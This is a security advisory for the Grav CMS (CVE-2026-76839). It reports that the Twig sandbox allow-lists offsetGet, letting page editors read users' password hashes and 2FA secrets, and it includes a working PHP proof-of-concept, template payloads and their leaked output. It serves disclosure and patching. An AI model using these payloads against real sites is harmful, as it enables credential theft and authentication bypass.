getgrav/grav
Affected
- introduced
0, fixed2.0.16(ecosystem)
Fixed versions
2.0.16
Fix
The export has no generic command for this ecosystem.
Advisory
Also known as: CVE-2026-76839
Grav: UserInterface offsetget/offsetexists allow-listed in Twig sandbox let editor-authored content leak hashed_password and 2FA secrets via offsetGet()
Summary
system/config/security.yaml's Twig sandbox policy allow-lists offsetget andoffsetexists for Grav\Common\User\Interfaces\UserInterface. The concreteGrav\Common\User\DataUser\User class does not filter which fields offsetGet()
returns, so any sandboxed template with access to a User object can readhashed_password, secret (2FA seed), and twofa_secret directly, bypassing the
redaction Grav's own code applies everywhere else.
The core evidence, from Grav's own code
system/src/Grav/Common/User/DataUser/User.php:
/**
* {@inheritdoc}
* Override to filter out sensitive fields like password hashes
*/
public function jsonSerialize(): array
{
$items = parent::jsonSerialize();
// Security: Remove sensitive fields that should never be exposed to frontend
unset($items['hashed_password']);
unset($items['secret']); // 2FA secret
unset($items['twofa_secret']); // Alternative 2FA field name
return $items;
}
public function offsetGet($offset)
{
$value = parent::offsetGet($offset);
// only special-cases 'authorized', nothing else -- no redaction
return $value;
}
system/config/security.yaml:
- class: 'Grav\Common\User\Interfaces\UserInterface'
methods: 'authorize, authorized, authenticated, username, fullname, email, language, offsetget, offsetexists'
This is the same vulnerability shape as two already-fixed issues in this file
(GHSA-j274-39qw-32c9 and GHSA-mc5q-6hpj-rp7j -- both a raw, unfiltered data-access
path bypassing an intended redaction) recurring on a third class neither fix covered.
Live, end-to-end verification
Built a real Twig\Environment wired with the real Twig\Extension\SandboxExtension,
policed by Grav's own GravSecurityPolicy class, constructed directly from values
parsed out of the actual system/config/security.yaml (viaSymfony\Component\Yaml\Yaml::parseFile, not a hand-copied excerpt), rendering real
template strings against a real User object.
Environment setup:
git clone https://github.com/getgrav/grav.git
cd grav
apt-get install -y php8.3-curl php8.3-zip php8.3-xml php8.3-gd
curl -sL -o /tmp/composer.phar \
"https://github.com/composer/composer/releases/latest/download/composer.phar"
COMPOSER_ALLOW_SUPERUSER=1 php /tmp/composer.phar install --no-dev --no-interaction
live_sandbox_render_test.php:
<?php
require 'vendor/autoload.php';
use Symfony\Component\Yaml\Yaml;
use Twig\Environment;
use Twig\Loader\ArrayLoader;
use Twig\Extension\SandboxExtension;
use Grav\Common\Twig\Sandbox\GravSecurityPolicy;
use Grav\Common\User\DataUser\User;
$securityYaml = Yaml::parseFile('system/config/security.yaml');
$sandboxCfg = $securityYaml['twig_sandbox'];
function rowsToMap(array $rows): array {
$out = [];
foreach ($rows as $row) {
$out[$row['class']] = array_map('strtolower', array_map('trim', explode(',', $row['methods'])));
}
return $out;
}
$policy = new GravSecurityPolicy(
$sandboxCfg['allowed_tags'],
$sandboxCfg['allowed_filters'],
rowsToMap($sandboxCfg['allowed_methods']),
rowsToMap($sandboxCfg['allowed_properties']),
$sandboxCfg['allowed_functions']
);
$sandbox = new SandboxExtension($policy, true);
$user = new User([
'username' => 'admin',
'hashed_password' => '$2y$10$REALBCRYPTHASHVALUEshouldnotleakXXXXXXXXXXXXXXXXXXXXX',
'secret' => 'JBSWY3DPEHPK3PXP',
'twofa_secret' => 'ALT2FASECRETVALUE9999',
]);
function tryRender(string $label, string $template, SandboxExtension $sandbox, User $user): void {
$twig = new Environment(new ArrayLoader(['@Page:test' => $template]));
$twig->addExtension($sandbox);
try {
echo "$label => " . $twig->render('@Page:test', ['user' => $user]) . "\n";
} catch (\Twig\Sandbox\SecurityError $e) {
echo "$label => BLOCKED: " . $e->getMessage() . "\n";
}
}
tryRender('hashed_password via offsetGet()', "{{ user.offsetGet('hashed_password') }}", $sandbox, $user);
tryRender('secret via offsetGet()', "{{ user.offsetGet('secret') }}", $sandbox, $user);
tryRender('twofa_secret via offsetGet()', "{{ user.offsetGet('twofa_secret') }}", $sandbox, $user);
tryRender('twofa_secret via subscript', "{{ user['twofa_secret'] }}", $sandbox, $user);
tryRender('control: user.set() (unlisted)', "{{ user.set('email', '[email protected]') }}", $sandbox, $user);
Run: php live_sandbox_render_test.php
Output:
hashed_password via offsetGet() => $2y$10$REALBCRYPTHASHVALUEshouldnotleakXXXXXXXXXXXXXXXXXXXXX
secret via offsetGet() => JBSWY3DPEHPK3PXP
twofa_secret via offsetGet() => ALT2FASECRETVALUE9999
twofa_secret via subscript => BLOCKED: Calling "twofa_secret" property on a "Grav\Common\User\DataUser\User" object is not allowed in "@Page:test" at line 1.
control: user.set() (unlisted) => BLOCKED: Calling "set" method on a "Grav\Common\User\DataUser\User" object is not allowed in "@Page:test" at line 1.
The control payload (a real, non-allow-listed User method) is correctly blocked,
and the target field was confirmed unchanged afterward -- confirming the sandbox is
genuinely active and the three leaks above are real, not an artifact of a failed
sandbox.
Precise nuance for the fix
Twig routes user.offsetGet('x') (explicit method call) and user['x'] (subscript
sugar on a non-built-in ArrayAccess object) through two different sandbox checks --checkMethodAllowed against allowed_methods, versus checkPropertyAllowed againstallowed_properties. The subscript form is already correctly blocked, sinceUserInterface has no allowed_properties entry. Only the explicit .offsetGet()/.offsetExists() method-call form leaks, because those methods are present inallowed_methods.
Scope, stated honestly
I could not find where Grav core itself binds a user variable into the sandboxed
Twig page-content context -- Twig::processPage()'s $twig_vars has no 'user' key,
and the Login plugin (the near-universal companion plugin that would populate
"current logged-in user") is not part of this repository. I cannot independently
confirm from this codebase alone whether that binding is always the current session
user (self-disclosure only) or could resolve to an arbitrary other user (site-wide
credential/2FA-secret disclosure). What is independently confirmed entirely from this
repository: the security.yaml sandbox policy is Grav core's own security contract,
and it allow-lists a method proven unsafe by Grav's own code, regardless of which
plugin exercises it.
Impact
Any sandboxed Twig context where a UserInterface object is reachable (the standard,
documented pattern for exposing "current user" to editor-authored content) allows
extraction of that user's password hash (enabling offline cracking) and 2FA secret
(enabling full authentication bypass by generating valid TOTP codes without possessing
the user's device), by any user with page-edit permission.
High Basis: The source's own band: HIGH
0, fixed 2.0.16 (ecosystem)2.0.16
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Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0